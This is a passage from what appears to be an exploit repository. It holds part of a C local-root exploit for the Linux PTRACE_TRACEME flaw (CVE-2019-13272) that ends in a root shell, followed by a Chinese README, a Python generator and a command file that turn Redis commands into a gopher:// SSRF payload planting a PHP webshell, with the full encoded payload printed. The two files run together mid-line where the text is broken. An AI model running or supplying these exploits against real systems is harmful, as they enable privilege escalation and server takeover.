CLONE_VM|CLONE_VFORK|SIGCHLD, NULL)); 322 | if (!middle_success) return 1; 323 | 324 | /* 325 | * wait for our child to go through both execve() calls (first pkexec, then 326 | * the executable permitted by polkit policy). 327 | */ 328 | while (1) { 329 | int fd = open(tprintf("/proc/%d/comm", midpid), O_RDONLY); 330 | char buf[16]; 331 | int buflen = SAFE(read(fd, buf, sizeof(buf)-1)); 332 | buf[buflen] = '\0'; 333 | *strchrnul(buf, '\n') = '\0'; 334 | if (strncmp(buf, basename(helper_path), 15) == 0) 335 | break; 336 | usleep(100000); 337 | } 338 | 339 | /* 340 | * our child should have gone through both the privileged execve() and the 341 | * following execve() here 342 | */ 343 | dprintf("[.] Tracing midpid ...\n"); 344 | SAFE(ptrace(PTRACE_ATTACH, midpid, 0, NULL)); 345 | SAFE(waitpid(midpid, &dummy_status, 0)); 346 | dprintf("[~] Attached to midpid\n"); 347 | 348 | force_exec_and_wait(midpid, 0, "stage2"); 349 | exit(EXIT_SUCCESS); 350 | } 351 | 352 | int main(int argc, char **argv) { 353 | if (strcmp(argv[0], "stage2") == 0) 354 | return middle_stage2(); 355 | if (strcmp(argv[0], "stage3") == 0) 356 | return spawn_shell(); 357 | 358 | dprintf("Linux 4.10 < 5.1.17 PTRACE_TRACEME local root (CVE-2019-13272)\n"); 359 | 360 | check_env(); 361 | 362 | if (argc > 1 && strcmp(argv[1], "check") == 0) { 363 | exit(0); 364 | } 365 | 366 | /* Search for known helpers defined in 'known_helpers' array */ 367 | dprintf("[.] Searching for known helpers ...\n"); 368 | for (int i=0; i CR LF 5 | $<参数 1 的字节数量> CR LF 6 | <参数 1 的数据> CR LF 7 | ... 8 | $<参数 N 的字节数量> CR LF 9 | <参数 N 的数据> CR LF 10 | ``` 11 | 所以编写出tcp stream就非常简单,把需要执行的命令按照上面的格式拼凑出来就行 12 | 13 | 14 | ### 使用 15 | redis.cmd文件为需要执行的redis命令,一行一条命令, e.g. 16 | ``` 17 | flushall 18 | config set dir /tmp 19 | config set dbfilename shell.php 20 | set 'webshell' '' 21 | save 22 | ``` 23 | 24 | 得到的payload 25 | ``` 26 | %2a%31%0d%0a%24%38%0d%0a%66%6c%75%73%68%61%6c%6c%0d%0a%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%33%0d%0a%64%69%72%0d%0a%24%34%0d%0a%2f%74%6d%70%0d%0a%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%31%30%0d%0a%64%62%66%69%6c%65%6e%61%6d%65%0d%0a%24%39%0d%0a%73%68%65%6c%6c%2e%70%68%70%0d%0a%2a%33%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%38%0d%0a%77%65%62%73%68%65%6c%6c%0d%0a%24%31%38%0d%0a%3c%3f%70%68%70%20%70%68%70%69%6e%66%6f%28%29%3b%3f%3e%0d%0a%2a%31%0d%0a%24%34%0d%0a%73%61%76%65%0d%0a 27 | ``` 28 | 29 | 只需要在payload前面加上需要攻击机器的gopher://ip:port/_使用curl就行,最终payload 30 | ``` 31 | gopher://127.0.0.1:6379/_%2a%31%0d%0a%24%38%0d%0a%66%6c%75%73%68%61%6c%6c%0d%0a%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%33%0d%0a%64%69%72%0d%0a%24%34%0d%0a%2f%74%6d%70%0d%0a%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%31%30%0d%0a%64%62%66%69%6c%65%6e%61%6d%65%0d%0a%24%39%0d%0a%73%68%65%6c%6c%2e%70%68%70%0d%0a%2a%33%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%38%0d%0a%77%65%62%73%68%65%6c%6c%0d%0a%24%31%38%0d%0a%3c%3f%70%68%70%20%70%68%70%69%6e%66%6f%28%29%3b%3f%3e%0d%0a%2a%31%0d%0a%24%34%0d%0a%73%61%76%65%0d%0a 32 | ``` 33 | -------------------------------------------------------------------------------- /redis-over-gopher/redis-over-gopher.py: -------------------------------------------------------------------------------- 1 | import urllib 2 | 3 | HOST = "127.0.0.1" 4 | PORT = "6379" 5 | 6 | def ord2hex(string): 7 | return '%'+'%02x' % (ord(string)) 8 | 9 | exp = "gopher://%s:%s/_" % (HOST, PORT) 10 | 11 | for line in open("redis.cmd", "r"): 12 | word = "" 13 | str_flag = False 14 | redis_resps = [] 15 | for char in line: 16 | if str_flag == True: 17 | if char == '"' or char == "'": 18 | str_flag = False 19 | if word != "": 20 | redis_resps.append(word) 21 | word = "" 22 | else: 23 | word += char 24 | elif word == "" and (char == '"' or char == "'"): 25 | str_flag = True 26 | else: 27 | if char == " ": 28 | if word != "": 29 | redis_resps.append(word) 30 | word = "" 31 | elif char == "\n": 32 | if word != "": 33 | redis_resps.append(word) 34 | word = "" 35 | else: 36 | word += char 37 | #print redis_resps 38 | tmp_line = '*' + str(len(redis_resps)) + '\r\n' 39 | for word in redis_resps: 40 | tmp_line += '$' + str(len(word)) + '\r\n' + word + '\r\n' 41 | exp += "".join([ord2hex(i) for i in tmp_line]) 42 | 43 | print exp 44 | -------------------------------------------------------------------------------- /redis-over-gopher/redis.cmd: -------------------------------------------------------------------------------- 1 | flushall 2 | config set dir /tmp 3 | config set dbfilename shell.php 4 | set 'webshell' '' 5 | save 6 | --------------------------------------------------------------------------------